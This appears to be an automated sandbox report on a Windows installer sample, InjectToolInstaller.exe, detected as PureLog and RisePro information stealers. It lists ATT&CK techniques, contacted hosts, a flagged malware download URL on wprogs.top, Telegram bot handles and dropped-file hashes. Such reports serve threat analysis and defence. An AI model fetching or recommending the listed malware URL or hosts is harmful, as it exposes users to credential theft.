Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003

Source: C:\Windows\SysWOW64\cmd.exe	Directory queried: number of queries: 1617
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Directory queried: number of queries: 1043

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 42.2.insta313tg.exe.5120000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.insta313tg.exe.5120000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.471803561.0000000005120000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	212 Scripting	Valid Accounts	2 Windows Management Instrumentation	212 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	1 DLL Side-Loading	211 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	4 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	14 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	1 Install Root Certificate	NTDS	77 System Information Discovery	Distributed Component Object Model	1 Email Collection	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Software Packing	LSA Secrets	361 Security Software Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	151 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	151 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	211 Process Injection	Network Sniffing	11 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	11 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\21.mp3	100%	Avira	HEUR/AGEN.1332199

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
wprogs.top	20%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
https://blueoakcouncil.org/license/1.0.0	0%	Avira URL Cloud	safe
https://ruyadorno.com	0%	Avira URL Cloud	safe
https://wprogs.top/wefrgdf/bndwaf.exe	100%	Avira URL Cloud	malware
http://npm.im/	0%	Avira URL Cloud	safe
https://wprogs.top:80/wefrgdf/bndwaf.exe	100%	Avira URL Cloud	malware
https://wprogs.top/wefrgdf/bndwaf.exe#	100%	Avira URL Cloud	malware
https://ruyadorno.com	0%	Virustotal		Browse
http://npm.im/init-package-json)	0%	Avira URL Cloud	safe
https://blueoakcouncil.org/license/1.0.0	0%	Virustotal		Browse
https://mths.be/emoji	0%	Avira URL Cloud	safe
https://npm.im/libnpmaccess)	0%	Avira URL Cloud	safe
https://mths.be/emoji	1%	Virustotal		Browse
http://npm.im/	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
wprogs.top	5.161.74.235	true	false	20%, Virustotal, Browse	unknown
ipinfo.io	34.117.186.192	true	false		high
db-ip.com	104.26.4.15	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://db-ip.com/demo/home.php?s=102.165.48.43	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/nodejs/gyp-next/archive/	update-gyp.py.0.dr	false		high
https://github.com/DABH/colors.js	package.json137.0.dr	false		high
http://npm.im/	npm-audit.md.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf	Chrome_Default.txt0.48.dr	false		high
https://github.com/matheussampaio	utils.js.0.dr	false		high
https://github.com/mathiasbynens/emoji-regex.git	package.json139.0.dr	false		high
https://github.com/githubname/githubrepo	npm-install.md.0.dr	false		high
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://db-ip.com/demo/home.php?s=102.165.48.43=OW	insta313tg.exe, 00000030.00000002.604627485.0000000000B34000.00000004.00000020.00020000.00000000.sdmp	false		high
https://nodejs.org/api/fs.html#fs_stat_time_values)	polyfill.js.0.dr	false		high
https://wprogs.top:80/wefrgdf/bndwaf.exe	insta313tg.exe, 00000030.00000002.604627485.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/npm/agent/issues	package.json148.0.dr	false		high
https://gitlab.com/gitlabname/gitlabrepo	npm-install.md.0.dr	false		high
http://dev.w3.org/csswg/css-color/#hwb-to-rgb	conversions.js.0.dr	false		high
https://www.patreon.com/feross	package.json33.0.dr	false		high
https://github.com/DABH/colors.js/issues	package.json137.0.dr	false		high
https://github.com/isaacs/jackspeak.git	package.json20.0.dr	false		high
https://stackoverflow.com/questions/16657803/creating-autocomplete-script-with-sub-commands	completion.fish.0.dr	false		high
https://github.com/nodejs/admin/blob/master/CODE_OF_CONDUCT.md)	CONTRIBUTING.md.0.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	insta313tg.exe, 0000002A.00000002.470471234.0000000002682000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/npm/fs-minipass/issues	package.json44.0.dr	false		high
https://github.com/watson/is-lambda/issues	package.json15.0.dr	false		high
https://github.com/Marak/colors.js/blob/master/lib/styles.js	utils.js.0.dr	false		high
https://stackoverflow.com/q/14436606/23354	insta313tg.exe, 0000002A.00000002.471586467.0000000004860000.00000004.08000000.00040000.00000000.sdmp, insta313tg.exe, 0000002A.00000002.470471234.000000000254E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/npm/agent#readme	package.json148.0.dr	false		high
https://github.com/npm/agent.git	package.json148.0.dr	false		high
https://github.com/npm/fs.git	package.json150.0.dr	false		high
https://t.me/RiseProSUPPORT	SmzK98tFGb6qzdocFm21bMi.zip.48.dr	false		high
https://jsperf.com/object-keys-vs-for-in-with-closure/3	route.js.0.dr	false		high
https://github.com/npm/write-file-atomic	package.json134.0.dr	false		high
https://ruyadorno.com	package.json149.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ipinfo.io/	insta313tg.exe, insta313tg.exe, 00000030.00000002.604627485.0000000000B1E000.00000004.00000020.00020000.00000000.sdmp, insta313tg.exe, 00000030.00000002.604627485.0000000000AA4000.00000004.00000020.00020000.00000000.sdmp, insta313tg.exe, 00000030.00000002.604627485.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/npm/inflight.git	package.json2.0.dr	false		high
https://github.com/nodejs/node/issues/42785	index.js3.0.dr	false		high
https://github.com/npm/validate-npm-package-name.git	package.json62.0.dr	false		high
https://github.com/npm/mute-stream.git	package.json126.0.dr	false		high
https://github.com/watson/is-lambda.git	package.json15.0.dr	false		high
https://github.com/indexzero/forever/tarball/v0.5.6	npm-install.md.0.dr	false		high
http://github.com/garycourt/murmurhash-js	imurmurhash.min.js.0.dr	false		high
http://crl.entrust.net/2048ca.crl0	insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/npm/npm-package-arg/issues	package.json61.0.dr	false		high
https://github.com/fish-shell/fish-shell/blob/HEAD/share/completions/npm.fish	completion.fish.0.dr	false		high
https://github.com/npm/validate-npm-package-name	package.json62.0.dr	false		high
https://www.npmjs.com/forgot	error-message.js.0.dr	false		high
https://github.com/wildlyinaccurate/relative-date.git	package.json49.0.dr	false		high
https://ipinfo.io/m3m1	insta313tg.exe, 00000030.00000002.604627485.0000000000AA4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://blueoakcouncil.org/license/1.0.0	LICENSE.md11.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/facebook/react-native/pull/1632	browser.js2.0.dr	false		high
https://github.com/DABH	package.json137.0.dr	false		high
https://github.com/isaacs/common-ancestor-path	package.json105.0.dr	false		high
https://docs.npmjs.com/policies/terms.	npm.md.0.dr	false		high
https://registry.npmjs.org	npm.md.0.dr	false		high
https://github.com/npm/cli/blob/latest/CONTRIBUTING.md)	npm.md.0.dr	false		high
http://stackoverflow.com/a/398120/376773	browser.js2.0.dr	false		high
https://wprogs.top/wefrgdf/bndwaf.exe	insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp, insta313tg.exe, 00000030.00000002.604627485.0000000000B34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/npm/cli#readme	package.json135.0.dr, package.json136.0.dr	false		high
https://github.com/sindresorhus/has-flag/blob/main/index.js	index.js28.0.dr	false		high
https://github.com/isaacs/isexe.git	package.json14.0.dr	false		high
http://jsonpatch.com	index.mjs0.0.dr, index.cjs0.0.dr, index.mjs.0.dr	false		high
http://github.com/kpdecker/jsdiff/issues).	CONTRIBUTING.md0.0.dr	false		high
https://stackoverflow.com/q/11564914/23354;	insta313tg.exe, 0000002A.00000002.471586467.0000000004860000.00000004.08000000.00040000.00000000.sdmp	false		high
https://github.com/sponsors/isaacs	package.json20.0.dr, package.json25.0.dr	false		high
https://github.com/isaacs/node-mkdirp.git	package.json116.0.dr	false		high
http://stackoverflow.com/a/16459606/376773	browser.js2.0.dr	false		high
http://github.com/kpdecker/jsdiff/issues	CONTRIBUTING.md0.0.dr	false		high
https://github.com/isaacs/color-support.git	package.json97.0.dr	false		high
https://github.com/npm/write-file-atomic/issues	package.json134.0.dr	false		high
https://gist.github.com/gistID	npm-install.md.0.dr	false		high
https://t.me/risepro_bot3	insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/sponsors/feross	package.json33.0.dr	false		high
https://github.com/npm/treeverse.git	package.json50.0.dr	false		high
https://mathiasbynens.be/	LICENSE-MIT.txt1.0.dr, LICENSE-MIT.txt0.0.dr, package.json139.0.dr	false		high
https://www.artima.com/weblogs/viewpost.jsp?thread=164293	diff.js0.0.dr	false		high
http://npm.im/init-package-json)	npm-init.md.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/nodejs/node-gyp)	npm.md.0.dr	false		high
https://wprogs.top/wefrgdf/bndwaf.exe#	insta313tg.exe, 00000030.00000002.604627485.0000000000B34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://jsperf.com/1-vs-infinity	route.js.0.dr	false		high
https://github.com/npm/fs-minipass#readme	package.json44.0.dr	false		high
https://github.com/mgravell/protobuf-net	insta313tg.exe, 0000002A.00000002.471586467.0000000004860000.00000004.08000000.00040000.00000000.sdmp	false		high
https://github.com/chalk/ansi-regex?sponsor=1	package.json115.0.dr, package.json138.0.dr	false		high
https://mths.be/emoji	index.js107.0.dr, text.js.0.dr, text.js0.0.dr, RGI_Emoji.js1.0.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://sindresorhus.com	package.json70.0.dr, package.json128.0.dr, package.json130.0.dr, package.json115.0.dr, package.json138.0.dr, package.json140.0.dr	false		high
https://docs.npmjs.com/about-developers-team	npm-team.md.0.dr	false		high
https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26aqs%3Dchrome..69i57j46j0l3j46j0.427j0j7%26sou	insta313tg.exe, 00000030.00000002.604873398.0000000003241000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/isaacs/string-locale-compare	package.json143.0.dr	false		high
https://github.com/gvarsanyi/sync-exec/blob/master/js/sync-exec.js	process-exec-sync.js.0.dr	false		high
https://github.com/npm/rfcs/blob/latest/implemented/0019-remove-update-depth-option.md	update.js.0.dr	false		high
https://registry.npmjs.org/-/npm/v1/keys	npm-audit.md.0.dr	false		high
https://t.me/risepro_bot	insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp, insta313tg.exe, 00000030.00000002.604627485.0000000000B34000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://blog.npmjs.org/post/98131109725/npm-2-0-0)	npm-start.md.0.dr	false		high
https://npm.im/libnpmaccess)	npm-access.md.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/npm/init-package-json.git	package.json6.0.dr	false		high
https://stackoverflow.com/q/2152978/23354	insta313tg.exe, 0000002A.00000002.471586467.0000000004860000.00000004.08000000.00040000.00000000.sdmp	false		high
https://github.com/npm/npm-package-arg.git	package.json61.0.dr	false		high
https://github.com/mathiasbynens/emoji-regex/issues	package.json139.0.dr	false		high
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a	Chrome_Default.txt0.48.dr	false		high
https://www.google.com/search?q=net	Chrome_Default.txt0.48.dr	false		high
https://github.com/isaacs/inflight	package.json2.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
116.203.183.140	unknown	Germany	24940	HETZNER-ASDE	true
104.26.4.15	db-ip.com	United States	13335	CLOUDFLARENETUS	false
5.161.74.235	wprogs.top	Germany	24940	HETZNER-ASDE	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1417459
Start date and time:	2024-03-29 11:03:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	InjectToolInstaller.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@145/1085@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 238 Number of non-executed functions: 196
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:04:06	API Interceptor	21x Sleep call for process: InjectToolInstaller.exe modified
11:04:09	API Interceptor	2x Sleep call for process: net1.exe modified
11:04:11	API Interceptor	24x Sleep call for process: powershell.exe modified
11:04:37	API Interceptor	39x Sleep call for process: cmd.exe modified
11:04:38	API Interceptor	37x Sleep call for process: wscript.exe modified
11:04:42	API Interceptor	545x Sleep call for process: insta313tg.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.186.192	SecuriteInfo.com.Win32.Evo-gen.24318.16217.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	SecuriteInfo.com.Win32.Evo-gen.28489.31883.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	Raptor.HardwareService.Setup 1.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	w.sh	Get hash	malicious	Xmrig	Browse	/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	uUsgzQ3DoW.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
	8BZBgbeCcz.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
104.26.4.15	#Ud3ec#Ud2b8#Ud3f4#Ub9ac#Uc624.exe	Get hash	malicious	Nemty, Xmrig	Browse	api.db-ip.com/v2/free/102.129.152.212/countryName
5.161.74.235	QjQx1KuqXI.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse
	bpeyJ7ZeqN.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse
	2CgZgTG2zg.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
wprogs.top	RUN.exe	Get hash	malicious	Babadeda	Browse	5.161.74.235
	QjQx1KuqXI.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	5.161.74.235
	bpeyJ7ZeqN.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	5.161.74.235
	2CgZgTG2zg.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	5.161.74.235
ipinfo.io	MXpl6HFisn.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	XqC4Zcp8qg.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	3MdZ1WiAYP.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	7GofFHQDvk.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	88Oj06xDol.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	uQeIMs91Vh.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	34.117.186.192
	jUlAlD6KHz.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	Iv88OQbqpE.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com	Get hash	malicious	HTMLPhisher	Browse	34.117.186.192
db-ip.com	MXpl6HFisn.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	XqC4Zcp8qg.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	3MdZ1WiAYP.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	7GofFHQDvk.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	88Oj06xDol.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	uQeIMs91Vh.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	104.26.5.15
	jUlAlD6KHz.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	Iv88OQbqpE.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	i1crvbOZAP.exe	Get hash	malicious	Amadey, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	104.26.4.15

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	MXpl6HFisn.exe	Get hash	malicious	RisePro Stealer	Browse	95.216.41.236
	Mcb5K3TOWT.exe	Get hash	malicious	Unknown	Browse	144.76.170.20
	getscreen-728974364.exe	Get hash	malicious	Unknown	Browse	5.75.168.191
	getscreen-728974364.exe	Get hash	malicious	Unknown	Browse	5.75.168.191
	file.exe	Get hash	malicious	Vidar	Browse	78.46.229.36
	BuThoFHNNK.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, SmokeLoader	Browse	78.46.229.36
	6uVlPQSJ4e.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, SmokeLoader	Browse	78.46.229.36
	file.exe	Get hash	malicious	Vidar	Browse	78.46.229.36
	JAJL2EYBPH.exe	Get hash	malicious	DCRat	Browse	138.201.79.103
	https://mnrdtfqrcyfqiou.s3.amazonaws.com/mnrdtfqrcyfqiou.html#4HHHnO7279bGJq492fumheqtoju1686NCUIKVMPNMDQVMT689230/736882Y21#qgow23ahs76jjbq8j26ouc8n3ucpjfst25g85oeaei03mafty5n389r	Get hash	malicious	HTMLPhisher	Browse	49.12.134.254
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	MXpl6HFisn.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	l2ZKczbGRq.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	34.117.186.192
	XqC4Zcp8qg.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	3MdZ1WiAYP.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	7GofFHQDvk.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	88Oj06xDol.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	https://attwebupdate.w3spaces.com/	Get hash	malicious	Unknown	Browse	34.117.239.71
	uQeIMs91Vh.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	34.117.186.192
	jUlAlD6KHz.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	Iv88OQbqpE.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
HETZNER-ASDE	MXpl6HFisn.exe	Get hash	malicious	RisePro Stealer	Browse	95.216.41.236
	Mcb5K3TOWT.exe	Get hash	malicious	Unknown	Browse	144.76.170.20
	getscreen-728974364.exe	Get hash	malicious	Unknown	Browse	5.75.168.191
	getscreen-728974364.exe	Get hash	malicious	Unknown	Browse	5.75.168.191
	file.exe	Get hash	malicious	Vidar	Browse	78.46.229.36
	BuThoFHNNK.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, SmokeLoader	Browse	78.46.229.36
	6uVlPQSJ4e.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, SmokeLoader	Browse	78.46.229.36
	file.exe	Get hash	malicious	Vidar	Browse	78.46.229.36
	JAJL2EYBPH.exe	Get hash	malicious	DCRat	Browse	138.201.79.103
	https://mnrdtfqrcyfqiou.s3.amazonaws.com/mnrdtfqrcyfqiou.html#4HHHnO7279bGJq492fumheqtoju1686NCUIKVMPNMDQVMT689230/736882Y21#qgow23ahs76jjbq8j26ouc8n3ucpjfst25g85oeaei03mafty5n389r	Get hash	malicious	HTMLPhisher	Browse	49.12.134.254
CLOUDFLARENETUS	Stealer.exe	Get hash	malicious	Eternity Stealer	Browse	172.67.34.170
	MXpl6HFisn.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	https://airdrop-online-altlayer-anniversary.s3.us-east-2.amazonaws.com/posten.html?cid=freetomfr@hotmail.com	Get hash	malicious	Phisher	Browse	172.64.150.248
	7ITPeT3VWW.exe	Get hash	malicious	LummaC	Browse	104.21.38.98
	l2ZKczbGRq.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	104.26.4.15
	XqC4Zcp8qg.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	3MdZ1WiAYP.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	7GofFHQDvk.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	TBC#01 Rev.A3 - lnexa.xls.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	DHL_LHER000678175.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	892016_Past Invoice_03_26_2024_48118858_756483.wsf	Get hash	malicious	Unknown	Browse	34.117.186.192 104.26.4.15
	Incident_Report_Harassment_by_Employee.doc	Get hash	malicious	Unknown	Browse	34.117.186.192 104.26.4.15
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	34.117.186.192 104.26.4.15
	Reserva Detalhes.ppam	Get hash	malicious	Unknown	Browse	34.117.186.192 104.26.4.15
	Chrome.vbs	Get hash	malicious	Unknown	Browse	34.117.186.192 104.26.4.15
	aaaaaa.docx.doc	Get hash	malicious	Unknown	Browse	34.117.186.192 104.26.4.15
	Detalhes Reserva.ppam	Get hash	malicious	Unknown	Browse	34.117.186.192 104.26.4.15
	Payment_Draft_confirmation.xla.xlsx	Get hash	malicious	Snake Keylogger	Browse	34.117.186.192 104.26.4.15
	pedido de compra 4500628950##.xla.xlsx	Get hash	malicious	AgentTesla	Browse	34.117.186.192 104.26.4.15
	CA-OP2402406.xla.xlsx	Get hash	malicious	AgentTesla	Browse	34.117.186.192 104.26.4.15

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\color-support\bin.js	JWQgbclQK5	Get hash	malicious	PureLog Stealer	Browse
C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cross-spawn\node_modules\which\bin\node-which	JWQgbclQK5	Get hash	malicious	PureLog Stealer	Browse
	RUN.exe	Get hash	malicious	Babadeda	Browse
	https://github.com/httptoolkit/httptoolkit-desktop/releases/download/v1.14.8/HttpToolkit-installer-1.14.8.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
